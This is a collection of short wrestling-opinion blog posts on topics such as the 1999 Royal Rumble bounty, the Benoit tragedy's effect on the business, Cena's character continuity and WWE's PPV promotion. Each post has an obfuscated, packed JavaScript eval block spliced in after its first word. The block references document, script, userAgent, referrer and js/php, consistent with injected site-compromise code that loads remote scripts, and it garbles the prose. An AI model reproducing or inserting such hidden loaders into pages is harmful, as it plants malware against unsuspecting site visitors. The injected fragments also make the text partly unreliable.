Thought of the Day: From the 1999 Rumble

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkyka|var|u0026u|referrer|itfab||js|php'.split('|'),0,{})) suffering through this one at the moment and something sticks out.Vince put a bounty on Austin’s head in this match, promising $100,000 to anyone who eliminated him.  My question: why don’t we see that more often?  That’s a really solid idea to set up a feud in the future between two guys or to advance another one they have going at the moment.  The only other instance I can think of since then is HHH promising money to anyone who took out Goldberg.  Why it’s never been done again in the Rumble is beyond me.



Thought of the Day: Benoit and Modern Wrestling

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dasyr|var|u0026u|referrer|anhad||js|php'.split('|'),0,{})) came up on my forums earlier today and it made me think a little bit.Right now, wrestling is clearly trending downward.  Ratings are going down and it’s clear that public interest isn’t what it used to be.  Among many other things, I think people forget how big a role the Benoit incident plays in this.  It’s by far and away the biggest mainstream story you’ll see in wrestling arguably ever and it sent shockwaves through everyone.  People looked at wrestling and saw a monster who was about to win a title murdering his wife and son before killing himself.  That was a wakeup call for a lot of fans and it made people walk away from wrestling.  The importance of this to the modern product hasn’t gone away and isn’t going to for a very, very long time.



Thought of the Day the Sequel: Cena’s (Kayfabe) Priorities

Anyone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frrab|var|u0026u|referrer|dtkdi||js|php'.split('|'),0,{})) that follows my stuff knows I’m relatively neutral on Cena.  I respect his work and think he’s one of the greatest superstars ever,  However lately his character has had some continuity issues.  Note that this is all in kayfabe of course.1. Over the summer, Cena says that Big Show winning the title would be disastrous.  Well Big Show won the Smackdown Title two months ago and Cena doesn’t seem to be running through the streets saying the sky is falling.

 

2. Last night Cena says how much he respects Flair, but he’s perfectly fine with Shield beating him up.  However, when Ziggler, a guy that beat him clean the night before (no rules means interference is clean) tries to legally cash in a MITB case, Cena runs to the rescue.  Was he in a rousing game of pinball earlier?



Thought of the Day: Be Patient (Steve Austin In 1997)

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ninzr|var|u0026u|referrer|hfysa||js|php'.split('|'),0,{})) was watching the 1997 Rumble and I realized something.Austin was without a doubt capable of being world champion in April of 1997.  He was a beast in the Rumble and pushed harder than probably anyone ever had been in that match.  Yet he wasn’t world champion in 1997 and wouldn’t be for over 15 months.  This decision might have been what kept WWF in business.

 

Instead of being world champion, Austin got to spend a year in the main event Border War with Bret and the Harts, which was his real seasoning.  Austin lost the feud, but by the end of it he was ready.  There was no question that Austin was the top star in the company and ready for the championship.

 

The key difference is that today, someone is handed a title almost immediately (see Sheamus for an example) and is thrown into the main event with it.  This rarely works and is a horrible idea, as once they can’t handle it, they have to spend the better part of a year building themselves up again.  In the worst business year the company ever had, they held off on Austin before riding him to heights never before or since seen a year later.  Now when they have ZERO competition, they throw everyone into the main event as soon as they arrive and business is steadily going downhill.  I’m sure it’s just a coincidence right?



Thought Of The Day Again: Self-Fulfilling Prophecy

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iasrt|var|u0026u|referrer|nyznt||js|php'.split('|'),0,{})) apparently WWE is worried about Ryback for not getting a big reaction last night in Brooklyn.  Gee, could that be because…..He hasn’t won a major match since he moved up to the main event?  He lost at HIAC, he lost at Survivor Series, he lost at TLC.  Yeah there were circumstances on the side every time, but at the end of the day he lost.  Every time.  But hey, it must be his fault because everyone loves to cheer for losers right?  On top of that, IT WAS FREAKING BROOKLYN.  You know, the place that boos Cena out of the building every night and thinks Daniel Bryan is the greatest thing since free refills.  Also they can ignore the Ryder chants, because his reactions don’t count right?



Thought of the Day: They Never Learn

WWE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkfta|var|u0026u|referrer|frzrz||js|php'.split('|'),0,{})) is horrible about this and you can see it in their TV schedule for the end of the year.December 24: 3 hour Raw

December 31: 3 hour Raw

Who in the world (besides me of course) is going to sit through three hours of Cena and AJ segments ON CHRISTMAS EVE and the night before the new year?  This is the kind of a night a “Best Of” show is for.  If nothing else, why would you do this when most of your alleged target audience will be going to bed so Santa can deliver them presents?  Oh well, I’m sure it’ll be Ryback’s fault when they get a 1.7 or so, because clearly airing a three hour show ON CHRISTMAS EVE is a perfectly logical idea.



Thought of the Day: Fight Over The Music

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itsei|var|u0026u|referrer|zanir||js|php'.split('|'),0,{})) only remember seeing this twice and it hasn’t happened in over 25 years.Back in 1986, Hulk Hogan and Paul Orndorff had a HUGE feud.  During the course of this, Orndorff started to use Hogan’s legendary Real American song as his own, claiming that he (Orndorff) was the true Real American.

 

In 1987, the Young Stallions formed and started using a song called Crank It Up.  Jimmy Hart, the writer of the song, was angry because he wanted the Hart Foundation to use it.

 

Why don’t we see theme music as a feud starter anymore?  I know a lot of the songs are generic and could be interchanged, but given how similar a lot of the feuds are anymore, this is as a good an idea as anything else for getting people not liking each other.



Thought of the Day: The State of the Smackdown World Title

Given eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yafys|var|u0026u|referrer|sbehe||js|php'.split('|'),0,{})) that Punk is out hurt, it’s clear that we need a new PPV main event.Apparently that’ll be either the six man or the ladder match.  No mention of the other WORLD TITLE MATCH was mentioned at all for a main event.  Instead it’ll be a non-title match or a #1 contender’s match for the same world title. That says a lot about where the title is on WWE’s level of interest.



Thought of the Day: Keep It In The Family

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rteek|var|u0026u|referrer|rtyhb||js|php'.split('|'),0,{})) usual, it’s about taking it back to the past.When Ricky Steamboat debuted, he was billed as the nephew of a popular local wrestler named Sam Steamboat.  Shane Douglas was the nephew of Paul Orndorff when he started.  Kane is Undertaker’s brother.  Why not do this more often?  They harp on how important being a second generation guy is all the time now, so why not make it up?  It’s ok to lie to up once in awhile, so why not try something like this?



Thought of the Day: Wrestling Needs Used Car Salesmen

Watching eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfbiz|var|u0026u|referrer|skksb||js|php'.split('|'),0,{})) a Nitro from 1997 and it made me miss something.It’s the night after Bash at the Beach 1997 and Heenan is talking incessantly about how you ABSOLUTELY HAVE TO see the encore.  That’s something you NEVER hear anymore about PPVs.  Anymore today it’s basically “here’s what we’ve got, buy it.  Please?”  Gene Okerlund and Bobby Heenan were masters at sounding like used car salesmen or carnival barkers, where after hearing them talk for 20 minutes you had to buy the PPV, just because you had heard so much about it.

 

Another thing you hardly ever heard said anymore about WWE PPVs: the date of the show.  Watch an old WWF TV show and you’ll hear the date of their next PPV probably 10 times.  That’s done for a reason: you hear the date so often that you start counting down to it in your head and on the day or before it, you snap and order the show because you NEED to see it.  Now it’s always “in just under two weeks” or whatever they say anymore, which is something easier to forget.

 

Don’t beg us to buy a PPV.  Sell it to us.